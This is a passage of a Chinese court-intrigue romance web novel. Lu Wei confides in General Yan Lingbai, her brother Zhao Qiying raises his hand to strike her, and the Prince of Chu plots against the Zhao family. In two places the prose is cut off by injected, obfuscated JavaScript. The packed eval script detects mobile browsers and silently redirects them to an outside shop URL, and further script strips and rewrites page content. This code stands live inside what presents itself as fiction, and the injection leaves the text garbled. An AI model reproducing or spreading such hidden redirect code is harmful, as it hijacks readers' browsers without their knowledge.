既见父亲提到皇帝,露微不免顺势想了宫宴那日皇帝的兄妹之论。谢探微还提醒过她,这话从皇帝嘴里说出来是不一样的。难道陛下当时的意思就是存心提醒? 然而,赵维贞严肃地摇了摇头:“微微,不可妄议陛下!陛下堂堂君王,岂会有此言论?” 露微不知该松口气,还是该继续迷惑:“那阿耶说陛下会过问我的婚事,又是从何说起?阿耶猜的?” 赵维贞目光一凝,抬手在露微额上轻点了下,正要继续开言,门外仆人忽然禀报: “家翁,晏大将军来了,说有要事相商,正在客堂。” 晏令白还是第一次来赵家,虽然肯定不是找露微的,但她突然就生出了一个想法。 “快将将军请到书房。”赵维贞离去的脚步匆忙,一句话也没有留给露微。 …… 阍房草亭是进出家门必经之地,也不知晏令白要和父亲说多久的话,露微就安静在草亭里等着。倒还好,不过半个时辰,仆人便引着晏令白出来了。 露微立马小跑上前,遣开仆人先行了一礼:“将军之后若没有急事,能不能听我说几句话?” 晏令白岂是没有看见露微早在亭中,走来的步子都是加快的,“好,你有事只管说。” 露微倒谨慎,左看右看都觉得不合适,不能站在门下说话,便伸手拉住了晏令白的手臂,将人往外头带去,“我送送将军。” 晏令白虽颇觉奇怪,但看着这孩子拉着自己,嘴角又不禁扬起。但等露微站定,回过头来,他便适时地敛去了笑意。“露微,究竟怎么了?难道有什么难事需要我帮你?” 这话也算问得准确,露微直接点了下头:“我想问将军,将军与谢探微的父母交情深厚,可也了解他家二郎的为人?” 晏令白却当真不了解二郎,也更奇怪露微的用意了,“好端端的,你怎么关心起二郎了?你应该没见过他几回啊。” 露微顿了顿,交握的两手不觉用力搓磨,“若我告诉将军实话,将军能不能保守秘密?” 晏令白从露微的神色中感到了很深的忧虑,不禁也跟着担忧起来,“我答应你,你不要怕,只管说。” 露微是才刚生出的想法,也是新下的决断。只因为她觉得,晏令白是这世上最疼爱谢探微的人,也定比谢家父母更了解谢探微,必能事事设法维护。 很快,露微便把近日所有的事都说了一遍,包括谢探微在她面前伤心哭泣。而晏令白听来脸色也沉了不少,有难以置信的错愕,也有对露微之心的动容疼惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏令白明白她是什么意思,但眼神越了过去,仍顾及着露微,“孩子,天气不好就不要出门了,免得再被吓到。” 露微并不觉二人有何异常,一笑点头,觉得晏令白是要走的意思,就从乔氏手里拿过了雨伞,“将军把伞带上吧?” “不可!” 晏令白还不及说话,又是乔氏打断了,这个反应终于让露微奇怪起来:“乔娘,你是怎么了?为何不可?将军是来找阿耶的,是贵客,怎能如此失礼?” 乔晴霞是紧张着一时失言,却不能解释,瞥了晏令白一眼,佯作一笑,“哎呀,我是想说,将军必是骑马来的,伞用着不便,得去拿件蓑衣来!” 说着,乔氏便转回阍房取了件蓑衣,可递去时,晏令白却没接,眼睛还是望着露微:“露微,你放心,你所说的我都记在心里了,快进去吧。” 露微便点头,还想致谢,晏令白却很快转身走了。马蹄声中,雷雨同下,她瞬间愧疚不已。 “乔娘刚刚不向将军见礼就罢了,要去拿蓑衣直接说便是,何必喊那一声?春雨寒凉,将军就这么走了,万一着了风寒又要耽误正事!好在将军不是计较之人,否则阿耶知道,岂不怪罪你?” 露微眼里一向看乔氏是长辈,并无主仆之分,从来也只有听她的话,可这一下真是有些无法理解,是第一回如此责问。然而,乔氏也无从反驳,就向露微赔了一礼: “娘子就恕罪吧,我是看着天不好,你又久不见人,才一路找出来,难免心急了些,下次定不会失礼!不过,你和将军说了什么?他说什么记在心里了?” 露微叹了口气,又回望街上一眼:“乔娘,我长大了,都嫁过一次人了,你能不能不要再像小时候那样管束我?我和将军只是闲话几句,将军为人宽厚,在我心里就如同阿耶一样。” 乔氏脸色一暗,没再多说一个字。 35.欲动 楚王府的花园里新布置了一批假山石,其山形走势不似寻常,是仿照南营州的一座名山精心雕磨而成。此山名叫苍梧山,相传是舜帝南巡时临幸过的。 李元珍回京后甚少出门,常在山石间设席宽坐,除了几个亲从,便无人再敢随意搅扰。 “大王好手笔,只是这苍梧之山,乃是帝舜崩逝之地,将其置于庭院,是否不太妥?” 李元珍和衣闭目,半卧席上,早已听得脚步声,再闻话语,只是一笑,缓缓起身,轻理衣襟,说道:“崩逝之地也是帝王陵寝,且舜三十被尧征用,享帝位五十年,是长寿之君,有何不妥?” 来者这才从山石上收回目光,取下面具,向李元珍一拜:“舜帝乃古昔圣君,大王久居南州,沐圣君气象,自得圣君庇佑,大事可成。臣杜石羽先恭贺大王了!” 李元珍向他挥了挥手,示意近前坐下,笑意悠然,“说正事吧,外头又有什么动静了?” 杜石羽自不会无事而来,说道:“有些事想必大王已经听闻,谢道元如今执掌吏部,有选官动封的人事之权,又有皇帝暗中支撑,可以说是权逾宰相。前日他上书弹劾了舒正显,以及当初合力扳倒赵家之人,但却不是以赵家事为由,只说他们沉溺豪奢,私德不检,皇帝至今也尚无动作。大王以为该如何应对?” 既找准了当初都是哪些人做了赵家一局,却又是不提真相,如此明暗交错的手法,李元珍熟悉得很,说道: “当初我收到消息,知道晏令白将要统率金吾,便用舒正显试了赵维贞一次。然则,赵维贞常年耕耘,手里握着姚炯这条线,早就不能留了。但没想到,我那大侄子竟把他送到了零陵,就让我不能再动他了。再后来,谢道元也从扬州来了,这一文一武不容小觑。” 这些前情,杜石羽无不知晓,点头道:“赵维贞走后,大王想把舒正显推到吏部的位置,可舒正显与大王的关系明摆着,所以皇帝才会紧接着调来谢道元。皇帝不用咸京的朝臣,一文一武都是各有来历,大约也是早有准备,看来真是要对付大王了。” 李元珍颇是感叹地一笑:“我这个大侄儿啊,即位以来一心偃武修文,崇德尚礼,一个国子监祭典弄得天下皆知,不就是在警告我不要心存不敬,要谨守君臣之礼么?他要是不想对付我,又怎会同意我回京呢?而且我一上表,他就紧接着放回了赵维贞,还小心翼翼让赵家父子分开回京,前后都做得如此真实,滴水不漏。” 说了这么多,杜石羽还没听出李元珍下一步的安排,便还是问道:“大王既对皇帝甚是了解,必能想出反击的好法子,还请大王明示,下臣也好及时联络朝中力量为大王效力。” 李元珍不急不缓,细细地品尝几口茶,才道:“快二十年了,国家无事,他耐不住了,我也不想继续耗下去。但是,跟他打交道得用他的路数,不能动刀剑,而要跟他玩修德的游戏。” 这一点杜石羽倒明白,若是想动干戈,起兵夺位,李元珍不会势单力薄地来到咸京。况且,他追随李元珍多年,似乎也没见李元珍在兵权上动过心思。 “‘修德’二字总被皇帝拿来做文章,难道大王也要用这两个字做皇帝的文章?” “朝堂上明枪暗箭总是他占优势,那我就退而求其次,另辟蹊径咯。”李元珍说着,目光中升腾起一种别样的快意。 …… 到了下职的时辰,吏部南堂内的官吏们陆续停了手中公务,纷纷起身,准备离开。 赵启英因正拟着书稿,晚了片刻才抬头,便要归置案上卷册,不料案旁忽有同僚经过,衣袍带动,将一摞书册全部撸到了地上。 “等等!” 赵启英原没在意,可路过之人头也不回,竟毫无歉意。可他虽将人喊住了,这位同僚却是一脸讪笑: “怎么了?我又不是故意的。赵启英,你我同品同阶,你有什么资格对我大喊小叫的?还以为吏部是你老子当家呢?” 自回京以来,赵启英本就为不能官复原职而耿耿于怀,到任吏部的这数月也不大与人交往。尤其是对面这人,就是个刀笔小吏出身,哪里入得了进士出身的赵启英的眼。 然而,赵启英也正是因为身边多是此类人,心中郁闷不平日渐加深,于是他更被激怒了: “你不过区区狗鼠之辈,雕虫吏能,焉敢与我同论?!” 这人却更笑出声来,走近了两步,弯腰拾起一卷书册,在掌中轻拍,说道: “我是不如你二十二岁就高中进士,可今科状头才十九岁,你早就被人比下去了!还装什么装?就算你老子如今位列一品,也不见带上你也风光风光,倒是你那妹子还能跟去侍奉太子。可见啊,与其生个儿子位列朝堂末班,倒不如生个好女儿能朱衣伴驾呀!” 往日不起争执也就罢了,可一言起来,便句句都戳在赵启英的痛处,他再也无法忍受,夺过那人手中书册便要拳脚相加—— “住手!” 赵启英扬起的手还在半空,就被门外迅速冲进来的人一把抵住了。他转脸一看,却是杨君游。 “皇城禁内,吏部官署,你们在干什么?!” 杨君游是员外郎,品阶比南堂众人都高,值房也不在此处,正是听闻赵启英与人起了争执才匆匆赶来。于是,看热闹的人都一时散了,就连那挑衅之人也适时地关了腔,潦草拜了一礼,走了。 “杨员外是特来训教下官的吗?”赵启英略散了散气,蹲下身一册一册拾捡书卷,“还是特来看下官的笑话?” 杨君游顿了顿,皱起眉头,也蹲下来帮他拾捡,“开明,你我之间不当如此。” 二人是同庚同榜的进士,早年也有交情,但赵启英性情高傲,而杨君游为人谦和,加之入仕之后境遇不同,彼此就疏远了。所不同的是,杨君游始终惦念着昔日的情谊。 “杨员外若无其他吩咐,下官便先告辞了。”一时收拾完毕,赵启英仍是淡淡的,低着眼帘,也不正视。 杨君游叹了声,伸手拉住赵启英,“开明,你何必在意那些故意激怒你的话?岂不正中小人下怀?吏部原是赵太傅主事,陛下将你复官于此,定有用意,焉知你不会再得重用?” 赵启英冷冷一笑,用力抽开了手:“兄弟不知,咥其笑矣。杨员外,若你将来也落得和我一样的境地,希望你也能安然高坐!” 杨君游不知再说什么。 …… 自东宫回来,时辰尚早,又逢晴好天气,露微便想起书房里的书册经历去岁家难,一直不曾整理晾晒,便带了雪信丹渥一众侍女,在府上最宽阔的前庭里铺开竹席,晒起书来。 侍女们只管搬运书册,露微便在院里按名目整齐列开。原本四下安静,只有书册翻动之声,但不觉中,风声夹带着些许杂音,徐徐吹到了露微耳内。 露微便抬头循声,倒不难见,就是院侧连廊下坐着与侍娘闲打牙的长嫂朱氏。 “父亲得了个一品太傅,她也封了个五品女官,风风光光的侍奉太子,可夫君却还是不能官复原职,想到这里我就来气!你说,父亲怎么也不帮帮自己的亲儿子?反把个野丫头当宝贝!” “夫人莫要生气,那丫头只不过是个丫头,说好听了叫女官,实则就和家里的小婢一样,是给太子端茶倒水的罢了!” “说得也是!哈哈哈,太子不过是个十岁的孩子,她就是去带孩子的,有名头的保母罢了。对了,她原在姚家不就抱着个庶女不放么?她就是天生喜欢带别人的孩子!” 朱氏主仆二人说得忘情,丝毫不觉露微已悄然站在身后。露微也听明白了,不急也不气,忽一跨步,插进了二人中间: “好热闹,是说我呢?我也听听?” 主仆毫无防备,惊得双双瘫倒,若没有廊下的阑干挡着,险些就要翻进草丛里。 露微一笑,伸手扶起朱氏僵硬的身子,眼珠一转,趁热打铁:“能得陛下封个五品保母,其实也不错吧?天下又有几个五品保母?我也算是保母之首了,倒真是风光无限。可是,长嫂生就一副好唇舌,专门闲来好事嚼舌根,连天子家事都嚼得动,却无官无品,着实委屈。我明日必得上禀陛下,定要封长嫂一个三品女言官,否则岂不埋没了长嫂的好口才?” 朱氏不过就是逞口舌之快。自遭到赵维贞严厉责备,她夫妻二人无事都甚少走动,赵启英又不许她当着儿子乱说,她便着实憋坏了。这日晴暖风和,她小睡后便按捺不住出来游逛,只见四处人静,却不曾想刚说两句就撞上了正主。 而露微这番连珠炮似的敲打,朱氏根本没有还口之力。 不过—— “呵!你真是好大的官威啊!” 廊下气氛正凝固,露微亦正想点到为止,偏是此刻,赵启英回来了,一句呵斥自门楼间就冲了过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579554|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >朱氏一见撑腰的人来了,顿时缓过了神,一下子就溜到了赵启英身后。 露微缓了缓,不怕,但心里明白,这两夫妻不能用同样的法子,便抬脚走去,先见了一礼: “阿兄,你若想和我讲道理,那我便将方才的事情细说一遍;若你不想讲道理……” “你还知道道理?!” 赵启英根本不想听露微说完。方才在官署受的窝囊气硬是被杨君游拦下,他不能十分顶撞,可刚进家门就又见妻子为人所欺,他岂能再忍气放过? “你若知道道理,怎敢对长嫂无礼?好啊,你若想和我讲道理,你自己就先明理,就给你长嫂跪下,道歉!” 露微原就是两手准备,若赵启英不想好好说话,她也不会选择妥协,便只回以轻笑,吐了两个字:“做梦!” “你!” 赵启英猛一恍惚,只觉露微脸上的笑意和刚刚的刀笔吏一样,极尽侮辱,一时气血攻心,又将手扬了起来。 露微倒万没料到赵启英能动手,一瞬间实不及躲避。 然而,那重重一掌没有落在她身上,竟是被突然闪现的身影挡去了。慌忙一瞧,来人更出乎意料了: “谢探微?!” 还不止,两三步外,还站着晏令白。 “你们已经打过她一次,竟然还敢再动她?!” 谢探微缓缓转身,瞪着双发红的眼睛,满腔怒火渐难压制。露微这才回过劲,感受到了他身体的颤抖。 “你别管了,没事了!真的!” 露微不能看着他们在家里闹开,只忙又推又顶,想让谢探微退后。可她的力气哪里拧得过,终究还是晏令白伸手拦了一把。只不过,晏令白的脸色也不比谢探微好看。 “将军,你们怎么来了?是不是还是找我阿耶?”露微只想赶紧分开他们的心思,“那谢探微你是怎么……来了?”慌乱情急,她又打起了结巴。 谢探微还在极力克制,看着露微,说不出话。晏令白拉住谢探微的手尚未松开,看了看露微,又把脸转向了赵启英,深邃的眸子里尽是一片冷冽。 到此刻,原是一时火气上头的赵启英已完全懵了,他既不认得谢探微,也没见过晏令白,就更不知这二人怎会突然出现,又对露微这般维护。 “微微!” 庭院中正陷入僵局,赵维贞赶到了。因露微想起晒书,他午后便被劝去小憩,内院与前庭又隔着老远,片刻前还是见女儿身边的丹渥来报信,才知出了大事。 露微也知瞒不过父亲,可当着另外两人,父亲既急愧更愤怒,这神色她都不敢动劝。而果然,父亲的眼睛只在她身上匆匆一瞥,便挥手就给了赵启英一个耳光。 “你给我滚出这个家,赵家今后再没有你这样儿子!” 赵启英的自尊在这话音落下之前被全部碾碎,他很快选择了默认,既无难以置信,更无一丝目光的流连。 …… 庭院里少了赵启英夫妻,见残局至此,露微也只能先顾及父亲,走到身畔,轻轻扶住。然而,却是父亲先开了口: “家事不堪,让将军见笑了,请将军内堂说话。” 赵维贞说着让到一侧,伸手相请,眼睛又划过女儿身后的谢探微,“微微,我与将军有事相商,你就替为父待客吧。” 赵维贞来后,谢探微的情绪早已回稳,也早就刻意退避了几步,未敢抬头。而一听这话,却也不知自喜,只愣怔着下拜了一礼。 晏令白一直不便说话,看这情景才稍以眼神向谢探微示意,“太傅请。” 终于,庭院里只剩了他们两人。 “你是跟着将军来的?”露微长舒了一口气,心绪仍纷乱着,“刚刚他打到你了,疼不疼啊?” 谢探微只是后怕,眉头压得极紧,“那一下要是打在你身上,你就不能站在这里好好说话了!除了城门那次,他们之前还有这样欺负过你吗?!” 露微很明白谢探微的态度,可今天的事实在夸张,她亦无从解释,“他们虽厌恶我,但从小到大真正动手的也就是城门那次,却也只是长嫂,阿兄今天真是太反常了。” “微微!”谢探微只是一心系在露微身上,更觉得那对夫妻不能分开算,“你那么聪明,怎么到自己的事上就如此轻视?若不是我来得巧,如何是好?” “反正你是来了嘛!”露微一下笑起来。 36.蹊跷 和上回登门一样,晏令白是带着要事来访赵维贞的,但自官署出来,正碰上谢探微下职,父子便同行了。晏令白也知谢探微身份不便,原是叫他就在门侧阍房等着,谁知就遇上赵家这件大事。 所以谢探微也算因祸得福了。 院里站了片刻,露微便将人领进了中堂,两个人坐着说话。露微不想再让这人乱想,就故意提起谢家的事,想知道他这几天有没有听劝回过家,然而,反被问起另一件事来。 “微微,你近日去东宫上职,可听见什么议论了?” 关于赵家的议论,自父亲当了太傅就没断过,露微虽在意过,却不算上心,“为什么这么问?” 谢探微的心思自然还是牵挂着露微,但冷静下来,忽然就生出了很多头绪:“先前阿父劝我不要急于婚事,便说赵家风头正盛,是非多,后来我便留心了,却发现街头巷尾,哪怕是不相关的百姓都能说上几句,尤其是我负责巡警的城西一片。” 露微的脸色渐渐凝住:“你的意思是,空穴来风未必无因?” 谢探微郑重地点了下头:“咸京本是人流云集之地,有些传言并不稀奇,可我耳朵里听到的不是提你朱衣伴驾,就是说你长兄赵启英才高不遇,这岂非太过刻意?” 关于自己的流言,露微都清楚,可她每日只来往于东宫和家里,并不了解赵启英的处境。但这样听来,她便突然能理解赵启英今天的举动了,“难道阿兄就是因为这些流言积怒于心才那样的?我就说他反常吧!” 谢探微倒并不想露微以此为赵启英开脱,叹了口气道:“微微,我是想告诉你,外头有人在针对赵家,而赵启英已受蒙蔽,难以清醒,不管你父亲今后会不会心软原谅,你都不许再管他的事。” 露微岂不比谢探微了解赵启英,可她一时只是想着源头起因,“你觉得是谁在针对我家?”虽是问,她心中亦很快想起一位人物,“是不是和上次一样啊?” 谢探微听得懂,更听出露微的气息发颤,再顾着此地不便,也还是握住了她的手,“那个人是已经回京了,但一切都不明朗,我们只需心中有数,便不怕他的手段。” “可是,阿耶到底哪里得罪他了?为什么总是这样!他到底有什么目的啊?” 这些疑惑,有的是谢探微知道的,有的他也不知,但他都不能宣之于口。“微微,一切有我,你只放心好吗?” 露微不是怕,更不是不信谢探微,一时不知说什么。 “咳咳。” 忽然有人进来了,站在堂前清咳了两声。谢探微闻声略略一惊,这才缩回握住露微的手。 “怎么了乔娘?是阿耶他们说完了吗?”露微并不怕乔氏看出来,暗对谢探微一笑。 乔晴霞一摇头,目光悄然从谢探微身上挪开,“奴婢是来告诉娘子,公子带着夫人和小郎刚刚离开了,行李也搬走了,看马车去的方向朝南边,大约是去朱家安顿了。” 露微不觉意外。赵家虽是祖籍本地,但累世清流,不营资产,在咸京就崇贤坊这一座祖宅。赵启英既离开家,也只能去岳家容身了。但露微也知,朱家门庭不济,至今就剩了一个正在读书的幼弟,常年都是靠赵家接济。 “去支些银钱送去,若他们不要再罢。还有之前给澈儿做的几身春衣,问问做好了没有,一并送去。另外,先前采买的笔墨分一半也送去,只明说给澈儿就是。” 乔晴霞深知赵启英常年的态度,但有赵维贞庇护,露微也不算委屈,所以她做下人的也无从置喙。 “好,我就去办。” 看乔氏走后,露微的眼睛又转向谢探微,却见这人一脸端详的意味:“看什么啊?不认识了?” “微微,这家里是你当家啊?” “不然呢?”露微皱了皱眉,看出来了,这人是小瞧她了,“你以为是长嫂啊?以前她刚进门时,我娘确实要让出管家之权,就是为了让阿兄平衡些。可阿耶不许,那时我才六岁,他就让娘教我理家。所以我跟你说,我可厉害了!” 虽然知道露微在赵家有父亲爱护,但谢探微总想着赵启英毕竟是赵家独子,在家中的分量定比露微重。可如今亲见这般,瞬间就宽心多了。 “那我得赶紧多挣些家业,以后好让你管着玩啊!” …… 从赵家回到将军府已是入夜,虽然露微暂已无事,可谢探微心存疑虑,不得不再向晏令白说一回。然而,他自顾条分缕析地讲完,晏令白却完全不意外。 “事有蹊跷,我已早知,今天原就是去知会赵太傅的,只是没想到……罢了。”晏令白颇显凝重,一想到露微险些挨打的一幕便揪心不已。稍一停顿,还是回到正事: “敏识,事到如今,到了与你交底的时候,但你还是只能知而不言,就算露微那孩子聪慧过人,再猜到什么端倪,你也不能告诉她。听懂了吗?能做到吗?” 露微如今能猜到的就是赵家得罪了楚王,受到针对。而谢探微所知的底细则是楚王心怀不轨,朝中人事浮动。莫说谢探微从未泄露,便是能说,却也不足以去解释赵家为何被楚王盯上。 所以听到“交底”二字,谢探微的心忽然就踏实了。 “阿父,我怎舍得让她去承担这些事?”谢探微犹如盟誓一般,目光坚毅,隐隐透出杀伐之气,“我敢保证,绝无可能!” 晏令白并不是不信谢探微,只是他现今的心思与初次告知谢探微楚王之事时大相径庭:虽不能相认,可露微毕竟是他唯一的女儿。 “好。”晏令白拍了拍谢探微的肩,沉声开言:“赵太傅为人不多交际,知道赵家家事的人少之又少,可为何此次的流言偏偏起于他的儿女呢?” “阿父是说,对手身边有一个深知赵家内事的人,才能攻其弱点?”谢探微不禁倒吸了口气,他只是觉出流言蹊跷,却当真没有细究到这个地步。 晏令白点头:“前几日,你父亲将舒正显和一干当初构陷赵家的人尽数弹劾,这些都是楚王李元珍的人。李元珍不领官职,在朝堂上无法施展,所以也不难猜,他是想另辟蹊径。他身边必有一个深知要害的军师,才能拿捏赵启英的短处,一击即中。” “所以,李元珍是想用这些见不得光的手段,把赵太傅置于死地吗?可陛下如此信任赵太傅,应该是知道的,那之前赵家的案子究竟又是怎么回事?” 晏令白一笑,正要说到关键处,“别急,好好听着。” …… 夜阑将歇之时,乔晴霞端着一碗馄饨进了露微卧房。露微正要进帐,鼻子里就闻到了味,转身一见,不等乔氏说话就接了过来。 “慢点吃。”乔氏温柔一笑,靠着露微坐下来,替她撩起脑后散下的头发,“你啊,一见馄饨就这样,从小到大也没变。” 露微嘴里停不下来,只鼓囊着回道:“乔娘是什么时候去买的?我正想着许久没吃了呢。” “就是去朱家送东西的时候绕路带回来的,我知道你今晚定没有心思多吃,就备着了。” 提到朱家,露微倒关心,问道:“东西可都收了?” 乔氏轻笑,颇不屑,“公子自是硬气,一应拒之,倒是朱家那个弟弟后来追出来,都拿走了。” 露微猜也是如此,不是朱氏让孩子出面,就必是这个仰仗姊夫的小舅子,一笑而已。 乔氏倒并不是为朱家的事来的,耐心等露微吃完,拿来帕子替她擦嘴,缓而又道:“微微,今天跟晏将军来的那位年轻公子是谁呀?你们很熟悉?” 露微一顿,旋即一笑,也知乔娘是瞧见了谢探微的情状,便将实话都告诉了,“我还一直没有机会告诉乔娘,如今乔娘直接见了,看他如何?” 乔氏却早收起了笑意,“微微,我不会拦着你再嫁人,家翁也定会谨慎为你再选人家。可你如果嫁给了谢公子,便也要喊将军一声阿父,那谢家父母也要侍奉,你未免太辛苦了。” 露微不知乔氏怎会以这样的角度来劝她,单说谢家人多事杂也罢了,“将军孤身一人,常年身边只有谢探微和一个亲从,府里下人都不超过十个,他岂是多事的人?” 乔氏陷入了深深的忧虑,但一点都不奇怪露微为 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晏令白皱眉一笑,道:“陛下并非好战之君,即位初年平定边患后便一直重视修德,才有如今百姓安乐,国家无事。祭典空前盛大,天下皆知,就是要对天下异心之人起震慑之意,向他们昭示君臣父子的礼节。你虽是武将,却实在不能看轻修德的作用。唯有国家强盛,才能礼仪完备,唯有礼仪完备,才能垂范天下。” 听到这里,谢探微忽拍了下自己的脑袋,有醍醐灌顶之感:“陛下看似文质,实则是以德为刀,若异心之人胆敢倒行逆施,便是与天下为敌,不仅陛下可兴问罪之师,更是人人得而诛之!” 晏令白终于满意地点了点头:“敏识,李元珍已经耐不住了,可你一定要稳得住,决不能在此时出任何差错。” 夜深人静,漏过三更,谢探微却越发精神,“我明白,那下一步阿父就交给我。赵启英如今已被赶出家门,寄居岳家,可李元珍必不会轻易丢开他,我想暗中跟着看看。” 晏令白眼光一亮:“我正是此意。” …… 三月将至,又是清明时节了。 逢休沐日,露微便和乔晴霞一道准备祭扫先人的物品。但当乔氏和往年一样,将物品列成清单交给露微时,露微却一言不发,径直去了赵维贞的书房。 赵维贞虽不理内政,但家里的动静还是知道的,一见女儿便猜是何事,笑道:“微微,你管家事,阿耶没有不放心的,难道还能有你解决不了的?” 露微却不似往常状态,“阿耶,我有件事压在心里一年了,本以为阿耶回来了就不必理会了,可近日还是想起来。” 赵维贞不由脸色一沉,想起这一年来的大事不就是那一件么?可又疑惑,觉得女儿应该不知底细,“微微,你慢慢说来。” 露微的神色倒并不是忧虑,而这积压一年的旧事,就是宋容墓前所见的那盘新鲜樱桃。 “阿耶当时已离京半月,可樱桃却是刚放的,我便想是阿耶请人代祭的。但贤儿却一语道破,说单祭阿娘一人不合常理,阿耶可知这到底是怎么回事?阿娘也没有别的亲人了呀!” 赵维贞先为无关目下的大事而松了口气,但无法解答,因为他对宋容的了解也许还不如露微,“你问过乔氏了么?她是与你娘自小相伴之人,应该知晓你娘的往事啊。” 露微却没打算问,摇头:“娘的往事我自懂事起就问过多次,可她们都不告诉我,就说从前太苦,直到在并州遇见阿耶才好起来。因娘是怀着我到赵家来的,我也问过她之前的夫君是谁,她就更不提了,还生我的气来着。” 其实露微母女的往事,赵维贞从来不曾深究,也不会主动提起,今天也是因露微第一次说起来。 “那就不要再想了,这祭奠之人必出于善意,我们领他的善意便是了。”赵维贞抚了抚女儿的头,宽慰道。 露微点点头,心中满是对赵维贞的崇敬之意,“阿耶是这世上最好的阿耶。” 37.委屈 人定时分,负责城西巡警的一队金吾兵照常在街道上巡视。经过一条巷子时,为首的郎官忽然停了,脚步一转,朝巷口举起了灯笼: “陆执戟,是个人嗳,八成又是个喝多的!” 光亮照去,士兵们都看清了巷口趴着的那一坨是个人形,而他们口中的陆执戟,正是陆冬至。 “去!翻过来看看,活的还是死的。” 但凡巡夜所获犯禁之人,半数以上都是醉汉,陆冬至已经见怪不怪了。可正当士兵们将人抬到跟前,陆冬至却忽然睁大了眼睛,他竟认得此人。 “二公子!二公子?醒醒!”他连忙将人接过扶坐起来,不停拍打面颊,可这位二公子酒气冲天,醉的是不省人事。 士兵们见他这般都奇怪起来,都聚过来细看,问道:“这是谁家的二公子啊?多大的官啊?还能不能送京兆府啊?” 陆冬至看着这烂泥一般的人,心绪未定,“就是咱们谢中候家的二郎,偏偏今天他阿兄还不在,真让人闹心。” 众人一听是谢家,惊了,“中候素来公正,从不徇私,可我听说中候也不大与家里来往,咱们怎么处置啊?” 陆冬至岂不比这些人更知谢探微的家事,想了想,只道:“先带回去给他醒醒酒。” …… 近来赵维贞总被皇帝传召议事,授课的时辰不太一定,于是露微上职的时辰也变得宽泛起来。 这日辰时,露微才不慌不忙地走到皇城门下,便要掏出身牌给守卫验看,眼睛一抬,竟见到了一个本不该出现在此地的人,谢家二郎谢探隐。而在其后追着来的,还有陆冬至。 这两人一个专心往前冲,一个专心在后追,都没看见露微。但露微也不难看出不是什么好事,当机立断,叫住了陆冬至。 陆冬至脚步急刹,又舍不得放走谢二郎,拧着脸就道:“我现在很急,以后再跟你解释啊!” 露微翻了一眼,追去两步,又把人拦住:“你现在就说!你要是有办法,还能这么急?” 露微看他看得极准,他也知事关谢家逃不过露微,这才道:“他昨夜醉酒犯禁,我把他带到了监室。可偏偏谢探微不在,刚刚回来见了,二话不说就去京兆府替弟弟领罚去了。接着这二公子就醒了,不让他阿兄替罚,便这样了。” 原来这回事,露微听得笑出来,既不急谢探微会受刑,更不必再去追二郎,只道:“你这么急,是担心谢探微受刑,还是怕谢探微怪你没看住他弟弟?” 陆冬至脑子转不过来了:“你还笑得出来啊?” 露微其实是幸灾乐祸。 她既已知谢二郎是个当面一套背后一套的虚伪之人,那他必定是要维持自己的好形象,不能让自己理亏。如今,是他自己先闯了祸,谢探微不知情,只一片真心想维护,可他要是真容得长兄替他受刑,传到父母耳中,便是亏上加亏。 上回春闱放榜时,露微已三言两语将谢探微爱护弟弟之情说给了谢家母亲,谢二郎必是出于不屑才急着将饼餤丢弃。如此之人,怎会不知长兄此举于他来说,根本就不是“维护”呢? 露微突然很想去看看,那谢二郎是如何进退两难,还要不露破绽,继续装腔的。 “我还有时间,咱们一起去京兆府。” …… 谢二郎的脚程不快,露微二人虽耽误了几句话的工夫,等赶到时,也才见他的身影进去。 “自杜石羽罢官后,如今京兆府是谁当家?可知为人?”虽然心中不乱,但露微思虑着,还是想周全为上。 “叫周崇,反正就是按律办事,我也不深知。”陆冬至答道。 露微点点头,既能按律办事,也不是大事,谢家的声名在外,大约也是为人顾忌的,“你现在进去拦着点谢探微,我不便,就在这里等你们。” “万一谢探微已经被打了呢?” 露微只将人往里推:“你听我的就是!” 陆冬至也不敢再拖延,进去了。露微便在门下守着,徘徊踱步。然而,倒也不用一刻,三人就出来了。一左一右是谢探微和陆冬至,中间那个脸色最差的,当属谢二郎。 露微果然没猜错,迎上去前,隐下了嘴角笑意。 “怎么样?还好吧?”露微站在谢探微身侧,瞥眼二郎,几道血痕是打在背后的,但其人尚能活动,并不很重。 方才陆冬至进去,已将露微在外的事告知了谢探微,但他虽不惊讶,却似有什么考虑,先将弟弟交给陆冬至扶着,将露微带远了几步,说道: “微微,我知道你不想我受刑,可你不该拦着冬至。日前我已请阿父上书陛下,将犯禁的刑罚有所改动,如二郎这般初犯,也不过是笞五鞭。这五鞭对我来说无所谓,可二郎是个读书人,受下五鞭却有些重了。” 露微明白得很,并不在意话中轻微的责怪,笑道:“你疼爱弟弟,却又公正无私,不能直接免罚,难道自己替罚就不是出于私情?反正都打了,你也不能替了。” “我身为长兄,又是金吾卫,他犯错,我自当有责任。况且,母亲最疼爱他,一定看不得他如此。所以,无论于公无私,我都该这么做。” 没想到,谢探微还当真较真起来了,露微收住了笑。 “阿兄,你们别为我争了。” 两人正沉默,不料那谢二郎忽然插了一句,又一副忍痛的神色走过来,拽住了谢探微。 “都是我的错,赵娘子也是关心阿兄。她说得对,反正都打完了,没事了。你们要是为此置气,岂不是增加了我的罪过?” 露微也不算生气,可这人偏要添一句,若非露微已知其心,如此态度,还真是毫无破绽。 然而,露微也不是没有办法治他,“二公子既有伤在身,便要你长兄赶紧送你回家,请人看疗吧。也叫你长兄替你向两位大人多解释解释,初犯而已,下不为例就是了。” 露微倒不信,谢探微跟他一起回去见父母,事情明摆着,他还能占什么理,还能作出这副腔调! 果然,谢二郎眼色一凝,两片嘴唇黏住了。可正当露微要转向谢探微说几句话时,却只见他扶过弟弟,匆匆丢下一句话: “微微,我先走了。” 